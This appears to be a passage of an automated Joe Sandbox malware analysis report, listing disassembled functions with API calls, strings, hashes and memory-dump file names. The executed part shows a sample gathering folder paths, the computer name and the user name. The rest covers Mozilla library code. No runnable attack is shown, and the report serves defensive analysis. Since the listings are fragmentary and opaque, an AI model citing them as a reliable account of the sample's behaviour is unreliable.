Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 379f4702a341f9e413b36ba5dbb896d9983b6b9a86ea28566a877b3cfb9b7904
Instruction ID: 246c740807bdb1f3c8802d9c55c63e294af0174b13ab027559098622b041ed35
Opcode Fuzzy Hash: 379f4702a341f9e413b36ba5dbb896d9983b6b9a86ea28566a877b3cfb9b7904
Instruction Fuzzy Hash: 02F03070C0020CEFCB04EF94C45969CBB75EF10314F508199E86567281DB745B45CF81

Function 00138880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 278b3e123566af0fd3b8a97bccb5e15ce264b8e8421480d97fa5b962a723f55d
Instruction ID: 17675967551206fc44d2016dd54fe14a9af4be5da83bd1c4c0953f5fc738dcc2
Opcode Fuzzy Hash: 278b3e123566af0fd3b8a97bccb5e15ce264b8e8421480d97fa5b962a723f55d
Instruction Fuzzy Hash: 6FE01A71A4034C6BDB95EB90CC96FEE736C9B44B01F404294BA0C5B1C0DE70AB858B91

Function 00121190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00137380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001373B0
Part of subcall function 00137380: RtlAllocateHeap.NTDLL(00000000), ref: 001373B7
Part of subcall function 00137380: GetComputerNameA.KERNEL32(?,00000104), ref: 001373CF

Part of subcall function 001372F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137320
Part of subcall function 001372F0: RtlAllocateHeap.NTDLL(00000000), ref: 00137327
Part of subcall function 001372F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013733F

ExitProcess.KERNEL32 ref: 001211C6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: c9d1e63af43c8a35f595c2bfe2fca4c219502063083950d7511873306ba466c7
Instruction ID: fbe6bebae217976e20e2cb1fd2b26c093ffded8b518c18f229755b8d7e3511fd
Opcode Fuzzy Hash: c9d1e63af43c8a35f595c2bfe2fca4c219502063083950d7511873306ba466c7
Instruction Fuzzy Hash: 0EE017A991430A62DA60B7B5BC06B2B768C5B3630AF001424FA08CB553FF35F8288366

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
[I %d/%d] profiler_init, xrefs: 6C5B564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

SHA256, xrefs: 6C5B6EC0
wintrust.dll, xrefs: 6C5B72CD
(, xrefs: 6C5B768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MOZ_CRASH(), xrefs: 6C5E3950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
MALLOC_OPTIONS, xrefs: 6C5E35FE
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

